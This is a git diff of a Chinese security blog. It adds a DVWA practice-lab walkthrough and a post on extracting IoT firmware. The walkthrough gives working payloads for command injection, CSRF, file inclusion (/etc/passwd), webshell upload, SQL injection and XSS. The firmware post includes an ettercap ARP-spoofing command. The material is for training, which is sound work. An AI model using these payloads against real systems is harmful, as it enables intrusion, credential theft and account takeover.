diff --git a/_config.yml b/_config.yml index 7a67cdb8..5bef8e9a 100644 --- a/_config.yml +++ b/_config.yml @@ -4,8 +4,8 @@ # Site title: 混元霹雳手 -subtitle: 没人比我更懂中医#MAGA -description: +subtitle: +description: 没人比我更懂中医#MAGA keywords: author: Cool-Y language: zh-Hans diff --git a/source/_posts/linux-pwn-32.md b/source/_posts/linux-pwn-32.md index b01b78e5..5b36be70 100644 --- a/source/_posts/linux-pwn-32.md +++ b/source/_posts/linux-pwn-32.md @@ -13,6 +13,7 @@ categories: **ref：** > CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/ > 蒸米大佬的一步一步学rop http://www.anquan.us/static/drops/tips-6597.html +> https://bbs.pediy.com/thread-221734.htm **工具：** > objdump、ldd、ROPgadget、readelf、https://ctf-wiki.github.io/ctf-tools/ diff --git a/source/_posts/web-dvwa.md b/source/_posts/web-dvwa.md new file mode 100644 index 00000000..fd0c2700 --- /dev/null +++ b/source/_posts/web-dvwa.md @@ -0,0 +1,753 @@ +--- +title: DVWA黑客攻防平台 +date: 2019-07-24 11:46:51 +tags: +- web +- ctf +categories: +- web +--- + +# 搭建环境 +最好使用docker来搭建，方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ +# 暴力破解 +## easy模式 +> 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。 +用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式（例如交替的元音和辅音，这被称为leetspeak，所以“密码“变成”p @ 55w0rd“）。 +创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站，个人社交网络和其他常见信息（如生日或毕业年份）的组合创建字典。 +最后一种方法是尝试所有可能的密码，称为暴力攻击。从理论上讲，如果尝试次数没有限制，那么暴力攻击将永远是成功的，因为可接受密码的规则必须是公开的;但随着密码长度的增加，可能的密码数量也越来越长。 + +使用burpsuite可破之，Burp suite运行后，Proxy 开起默认的8080 端口作为本地代理接口。 +使用Burp suite通过置一个web 浏览器使用其代理服务器 +```php + +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + echo "

Welcome to the password protected area {$user}

"; + echo ""; + } + else { + // Login failed + echo "

Username and/or password incorrect.
"; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> +``` +**PHP $_GET 变量** +在 PHP 中，预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。 + +**$_GET 变量** +预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。 +从带有 GET 方法的表单发送的信息，**对任何人都是可见的**（会显示在浏览器的地址栏），并且对发送信息的量也有限制。 + +**何时使用 method="get"？** +在 HTML 表单中使用 method="get" 时，所有的变量名和值都会显示在 URL 中。 +所以在发送密码或其他敏感信息时，不应该使用这个方法！ +然而，正因为变量显示在 URL 中，因此可以在收藏夹中收藏该页面。在某些情况下，这是很有用的。 +HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。 + +```html +GET /vulnerabilities/brute/?username=admin123&password=123&Login=Login HTTP/1.1 +Host: 192.168.31.84:81 +Proxy-Connection: keep-alive +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 +Referer: http://192.168.31.84:81/vulnerabilities/brute/ +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low +``` +我们可以看到username和password是以明文出现，可以修改。 + +将请求进行提交到intruder模块，在那里可以把password设置为我们破解的payload. +点击Start attack~然后就根据对面返回包的大小，知道密码，'password'返回的长度更长 + +## medium模式 +代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证，以及登录失败会 sleep(2)。将用户名和密码转义，比如说 \n 被转义成 \\n，’ 转义成 \’，这可以抵御一些 SQL 注入攻击，但是不能抵御爆破。 + +# 命令执行 +## easy模式 +> 命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下，执行不需要的系统命令的应用程序就像一个伪系统shell，攻击者可以将它用作任何授权的系统用户。但是，命令的执行具有与Web服务相同的权限和环境。 +> +> 在大多数情况下，命令注入攻击是可能的，因为缺少正确的输入数据验证，攻击者可以操纵它（表单，cookie，HTTP头等）。 +> +> 操作系统（OS）（例如Linux和Windows）的语法和命令可能不同，具体取决于所需的操作。 +> +> 此攻击也可称为“远程命令执行（RCE）”。 + +```php +{$cmd}"; +} + +?> +``` + +可见，服务器无条件执行了ping $target的命令，如果注入$target = 0 | dir，服务器就会执行dir +> 管道符号，是unix一个很强大的功能,符号为一条竖线:"|"。 +> 用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2 +> + +**任意命令执行漏洞修补办法** +在写程序时尽量地使变量不能被用户所控制！且注意变量初始化的问题。 + +使用str_replace对“%”，”|”,“>”进行替换 + +进入函数前判断变量是否合法。 + +## medium模式 +无非就是增加了一个黑名单 &&和；，但还是可以用管道|和& +``` +// Set blacklist +$substitutions = array( + '&&' => '', + ';' => '', +); + +``` +这里需要注意的是”&&”与”&”的区别： +Command 1&&Command 2 +先执行Command 1，执行成功后执行Command 2，否则不执行Command 2 +Command 1&Command 2 +先执行Command 1，不管是否成功，都会执行Command 2 + +更聪明的做法是利用&;&，黑名单会将其转化为&& + +# CSRF +## easy模式 +> CSRF跨站请求伪造是一种攻击，它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下（例如通过电子邮件/聊天发送链接），攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。 +> 成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户，则可能会危及整个Web应用程序。 +> 此攻击也可称为“XSRF”，类似于“跨站点脚本（XSS）”，它们通常一起使用。 +> 您的任务是让当前用户使用CSRF攻击更改自己的密码，而无需他们了解自己的操作。 +> + +```php +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the user + echo "
Password Changed.
"; + } + else { + // Issue with passwords matching + echo "
Passwords did not match.
"; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> +``` +服务器通过GET方式接收修改密码的请求，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码，没有任何的防CSRF机制（当然服务器对请求的发送者是做了身份验证的，是检查的cookie，只是这里的代码没有体现）。 + +```htmlmixed +GET /vulnerabilities/csrf/?password_new=123&password_conf=123456&Change=Change HTTP/1.1 +Host: 192.168.31.84:81 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 +Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password&password_conf=123&Change=Change +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low +Connection: close +``` +根据拦截的http请求，可以伪造如下链接让受害者点击，从而修改密码 +`http://ip:port/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change` + +更具隐藏性的方式： +1.使用短链接来隐藏 URL： +为了更加隐蔽，可以生成短网址链接，点击短链接，会自动跳转到真实网站： +http://tinyurl.com/yd2gogtv +PS:提供一个短网址生成网站 +2.构造攻击页面： +* 方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL，并进行布局隐藏，实现了受害者点击链接则会将密码修改。 +* 方式 2 查看页面html源代码，将关于密码操作的表单部分，通过javascript的onload事件加载和css代码来隐藏布局，按GET传递参数的方式，进一步构造html form表单，实现了受害者点击链接则会将密码修改。 +```html + + + +
+ New password:
+
+ Confirm new password:
+
+
+ +
+ +``` + +构造攻击页面 + +现实攻击场景下，这种方法需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示，就在本地写一个test.html，下面是具体代码。 + +``` + +

404

+

file not found.

+``` +当受害者访问test.html时，会误认为是自己点击的是一个失效的url，但实际上已经遭受了CSRF攻击，密码已经被修改为了hack。 + +## medium模式 +检查 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名，） +``` +// Checks to see where the request came from + if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { +``` +想要通过验证，就必须保证在http请求中Referer字段中必须包含Host +我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上) + + +# 文件包含 +## easy模式 +某些Web应用程序允许用户指定直接用于文件流的输入，或允许用户将文件上载到服务器。稍后，Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做，Web应用程序允许潜在的恶意文件执行。 +如果选择要包含的文件在目标计算机上是本地的，则称为“本地文件包含（LFI）。但是文件也可以包含在其他计算机上，然后攻击是”远程文件包含（RFI）。 +当RFI不是一种选择时。使用LFI的另一个漏洞（例如文件上传和目录遍历）通常可以达到同样的效果。 +注意，术语“文件包含”与“任意文件访问”或“文件公开”不同。 +只使用文件包含来阅读'../hackable/flags/fi.php'中的所有五个着名引号。 +``` + +``` + +文件包含漏洞的一般特征如下： + +?page=a.php + +?home=a.html + +?file=content + +几种经典的测试方法： + +?file=../../../../../etc/passwdd +?page=file:///etc/passwd +?home=main.cgi +?page=http://www.a.com/1.php +=http://1.1.1.1/../../../../dir/file.txt +（通过多个../可以让目录回到根目录中然后再进入目标目录） + +## medium模式 +增加对绝对路径http和相对路径的检查 +``` +// Input validation +$file = str_replace( array( "http://", "https://" ), "", $file ); +$file = str_replace( array( "../", "..\"" ), "", $file ); +``` +但依然可以使用?page=file:///etc/passwd +以及重复字符过滤方法,构造url +1. 构造url为httphttp:// --> http +2. 构造url为httphttp://:// -->http:// +3. 构造url为..././ --> ../ + +# 文件上传 +## easy模式 +> 上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。 +> 不受限制的文件上载的后果可能会有所不同，包括完整的系统接管，过载的文件系统，向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用，包括存储位置。 +> 由于此文件上载漏洞，请在目标系统上执行您选择的任何PHP函数（例如phpinfo（）或system（））。 +> +一句话木马1.php文件： +``` + +``` + +```php +Your image was not uploaded.'; + } + else { + // Yes! + echo "
{$target_path} succesfully uploaded!
"; + } +} + +?> +``` + +## medium模式 +增加了对文件类型和大小的过滤，只允许图片上传 +``` +// File information +$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; +$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; +$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; + +// Is it an image? +if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && + ( $uploaded_size < 100000 ) ) { +``` +用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传： +http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls + +# SQL注入 +## easy模式 +> SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据，修改数据库数据（插入/更新/删除），对数据库执行管理操作（如关闭DBMS），恢复DBMS文件中存在的给定文件的内容system（load_file），在某些情况下向操作系统发出命令。 +> SQL注入攻击是一种注入攻击，其中SQL命令被注入到数据平面输入中，以便实现预定义的SQL命令。 +> 这种攻击也可称为“SQLi”。 + +``` +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Get results + while( $row = mysqli_fetch_assoc( $result ) ) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; + } + + mysqli_close($GLOBALS["___mysqli_ston"]); +} + +?> +``` + +在做查询操作时，未对$id做任何限制，直接传入了sql语句，造成字符型注入 + +原SELECT语句 +`SELECT first_name, last_name FROM users WHERE user_id = '$id'; ` +中的$id可以任意输入。 +当输入$id=123' OR 1=1#时，SELECT语句变成了 +`SELECT first_name, last_name FROM users WHERE user_id = '123' OR 1=1#'; ` +此时最后一个引号被#注释，同时1=1永远返回TRUE，这就导致所有用户的姓名泄露。 +``` +ID: 123' OR 1=1# +First name: admin +Surname: admin +ID: 123' OR 1=1# +First name: Gordon +Surname: Brown +ID: 123' OR 1=1# +First name: Hack +Surname: Me +ID: 123' OR 1=1# +First name: Pablo +Surname: Picasso +ID: 123' OR 1=1# +First name: Bob +Surname: Smith +``` +那如果想要得到密码该怎么做，UNION 操作符用于合并两个或多个 SELECT 语句的结果集，我们可以这样构造id +`$id=123' or 1=1# union SELECT first_name,password FROM` +但貌似表里没有password +``` +users +ID: 123' or 1=1# union SELECT first_name,password FROM users +First name: admin +Surname: admin +ID: 123' or 1=1# union SELECT first_name,password FROM users +First name: Gordon +Surname: Brown +ID: 123' or 1=1# union SELECT first_name,password FROM users +First name: Hack +Surname: Me +ID: 123' or 1=1# union SELECT first_name,password FROM users +First name: Pablo +Surname: Picasso +ID: 123' or 1=1# union SELECT first_name,password FROM users +First name: Bob +Surname: Smith +``` + +## medium模式 +前端只能选择，前源码过滤了字符 +`$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); ` +其中受影响的字符如下： +``` +\x00 +\n +\r +\ +' +" +\x1a +``` +但由于其为字符型注入，因此防御手段形同虚设 +构造id=1 or 1=1#即得到所有用户信息 + +# SQL盲注 +> 盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 +> 1.判断是否存在注入，注入是字符型还是数字型 +2.猜解当前数据库名 +3.猜解数据库中的表名 +4.猜解表中的字段名 +5.猜解数据 + +``` + 0 ) { + // Feedback for end user + echo '
User ID exists in the database.
'; + } + else { + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + echo '
User ID is MISSING from the database.
'; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> +``` +查看源码发现还是没有对id做过滤，但是它不会返回错误信息，只会告诉你User ID exists in the database.以及User ID is MISSING from the database. + +盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。 +如果手工盲注的话，需要对sql语法相当熟悉。类似： +https://www.freebuf.com/articles/web/120985.html +如果自动盲注的话，可以使用sqlmap来完成，类似： +https://www.jianshu.com/p/ec2ca79e74b2 + +# 弱session-id +## easy模式 +session-ID通常是在登录后作为特定用户访问站点所需的唯一内容，如果能够计算或轻易猜到该会话ID，则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞，如跨站点脚本。 + +根据源码可以看出来session每次加1 +``` + +``` +按f12看application-cookies也能发现这个规律。 +然后使用hackbar这个扩展程序攻击。 + +## medium模式 +从源码中可以看到dvwaSession就是时间戳 +``` + +``` +# 基于DOM的XSS +## easy模式 +> “跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。 +> +> 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。 +> +> 基于DOM的XSS是一个特殊情况，反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽，并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。 + +查看页面源代码 +``` + + +``` +* indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。 +* substring() 方法用于提取字符串中介于两个指定下标之间的字符。 +* decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码 +* 所以lang被赋值为"default="之后的字串，如果插入js代码，插入的 javascript 代码可以在 decodeURL(lang) 被执行 + +`http://192.168.31.84:81/vulnerabilities/xss_d/?default=English` +这个uri被用户点击之后会被弹窗，但是在chrome测试了很多次都不行，firefox就可以 + +## medium模式 +相对于easy模式增加了对script的过滤 +``` + # Do not allow script tags + if (stripos ($default, "alert(document.cookie)` +2. 方法2 +或者就是用img标签或其他标签的特性去执行js代码，比如img标签的onerror事件，构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框，证明出来有xss) +`http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E' + +# 反射型xss +## easy模式 +> 反射型（非持久）：主要用于将恶意代码附加到URL地址的参数中，常用于窃取客户端cookie信息和钓鱼欺骗。 + +查看源码，服务器直接把客户端的输入返回回来显示 +```php +Hello ' . $_GET[ 'name' ] . ''; +} + +?> +``` + +http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E + +## medium模式 +源码里检查了script标签 +``` + // Get input + $name = str_replace( ' +或者嵌套ipt>alert('xss') + +但对name审查没有这么严格，同样可以采用嵌套或大小写的方法： +ipt>alert('fuck') + + + + +# 存储型xss +## easy模式 +> “跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。 +> +> 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。 +> +> XSS存储在数据库中。 XSS是永久性的，直到重置数据库或手动删除有效负载。 +> + +查看源码 +trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠，两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符，像x00,n,r,,',",x1a等，来预防数据库攻击。 +``` +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + //mysql_close(); +} + +?> +``` +插入之后会成为页面的元素显示出来 +`
Name: 11
Message: 111
` +看一下提交的方式： +`txtName=22&mtxMessage=222&btnSign=Sign+Guestbook` +直接插入script语句，`txtName=22&mtxMessage=222&btnSign=Sign+Guestbook` + +## medium模式 +源码中增加了几个函数的使用： +* $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。 +* $message = htmlspecialchars( $message ); 把预定义的字符 "<" （小于）和 ">" （大于）转换为 HTML 实体： +* $name = str_replace( ' +"; +} +$page[ 'body' ] .= ' +
+

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

+ + +
+'; +``` +会在页面里增加一个body`` +这里在源码中规定了信任的脚本源： +`script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.` +输入源码中提示的https://pastebin.com/raw/R570EE00，弹窗成功 + +## medium模式 +如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值 +``$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";`` +比如： +```` + +# JavaScript Attacks +## easy模式 +> 本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行，但这不是重点，也可能要困难得多。 +> 只需提交“成功”一词即可赢得关卡。显然，它并不那么容易，每个级别实现不同的保护机制，页面中包含的JavaScript必须进行分析，然后进行操作以绕过保护。 +> + +提示我们Submit the word "success" to win.但是输入success却返回Invalid token.说明token值不对劲，后台应该是比较输入的字符串与‘success’。 +查看源码发现token值是在前台计算的，md5(rot13(phrase)) +``` + function generate_token() { + var phrase = document.getElementById("phrase").value; + document.getElementById("token").value = md5(rot13(phrase)); + } + + generate_token(); +``` +然而，phrase的值等于ChangeMe +`` +因此计算出来的token也是不对的，我们在chrome的控制台直接计算 +``` +md5(rot13("success")) +"38581812b435834ebf84ebcc2c6424d6" +``` +把值给隐藏的元素`` +然后提交success + +## medium模式 +生成token的代码在js文件中 +```javascript= +function do_something(e) { + for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; + return t +} +setTimeout(function () { + do_elsesomething("XX") +}, 300); + +function do_elsesomething(e) { + document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX") +} +``` +输入success，然后控制台运行do_elsesomething("XX")就可以拿到token diff --git a/source/_posts/获取固件.md b/source/_posts/获取固件.md new file mode 100644 index 00000000..dd04d91a --- /dev/null +++ b/source/_posts/获取固件.md @@ -0,0 +1,95 @@ +--- +title: 获取固件的几种方法 +date: 2019-07-24 11:49:28 +tags: +- IoT +- 硬件层 +categories: +- IoT + +--- + +通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。 + +http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/ +https://open.appscan.io/article-1163.html + + +# 官网获取或联系售后索取升级包 + +# 网络升级拦截 +工具：wireshark、ettercap +流程：中间人->开始抓包->在线升级->分析固件地址->下载 +案例：华为路由WS5200 四核版 +这款路由器在网上找不到现有固件，我们尝试一下是否可以通过抓包在线升级过程获取固件。 +首先关闭防火墙，否则无法访问路由器的服务，无法做中间人攻击。 +使用ettercap进行arp欺骗，`sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//` +打开wireshark进行抓包。理论上说，点击升级固件之后，wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。 + +还好华为路由器自带了抓包的功能（方便后期的调试和维护），所以直接使用这个功能抓取报文，比做中间人要直接了当得多。 + +在点击升级固件之后，我们可以看到大量发往58.49.156.104这个地址的报文，猜测极有可能是华为的服务器，过滤一下会看得更清楚 +![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png) +可以看到在通过三次TCP握手之后，华为路由器向服务器发送了get请求，uri就是获取固件的地址 http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin +点击即可拿到最新的固件 + +案例：小米智能门锁 +http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&Expires=1566136387000&Signature=KLOrbsRANlJD7w7bKB03xI1t4/0= + + +./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin + +``` +$ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin + +Scan Time: 2019-07-20 20:01:40 +Target File: /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin +MD5 Checksum: 250cc495d7da7643680dadeab578fce0 +Signatures: 390 +``` + + +# 通过串口读取 +工具：uart转usb +流程：找到电路板上的uart接口（RX、TX、+5v、GND）->串口通信->拿到shell->tar打包固件->nc传输 +案例：小爱音响 + +# 刷开发板固件，开启ssh服务 +有些厂商除了稳定版固件，还会提供开发版供发烧友“玩弄”。 +案例：小米路由器的开发板可通过安装ssh工具包开启ssh服务 +流程：开启ssh->tar打包固件 +``` +root@XiaoQiang:/# ls +bin data dev etc extdisks lib mnt opt overlay proc readonly rom root sbin sys tmp userdisk usr var www + +压缩提示没有足够的空间 +root@XiaoQiang:/# tar -zcf bin.tar.gz bin/* +tar: can't open 'bin.tar.gz': No space left on device + +来看一下空间使用情况 +root@XiaoQiang:/# df -h +Filesystem Size Used Available Use% Mounted on +rootfs 25.9M 25.9M 0 100% / +none 60.5M 4.5M 56.0M 7% /dev +tmpfs 60.9M 1.5M 59.4M 2% /tmp +ubi0_0 25.9M 25.9M 0 100% / +tmpfs 60.9M 1.5M 59.4M 2% /tmp +tmpfs 60.9M 1.5M 59.4M 2% /extdisks +ubi1_0 45.4M 6.7M 36.3M 16% /data +ubi1_0 45.4M 6.7M 36.3M 16% /userdisk +ubi0_0 25.9M 25.9M 0 100% /userdisk/data +ubi1_0 45.4M 6.7M 36.3M 16% /etc + +/dev目录下还有足够空间，继续压缩 +root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/* +root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/* +其他的目录也是一样的方法 + +scp传输到本地 +scp root:password@miwifi:/dev/*.tar.gz ./Desktop +``` +# uboot提取固件 +案例：2018年看雪提供的摄像头 +# 通过调试接口JTAG/SWD +# 拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取 +# 逻辑分析仪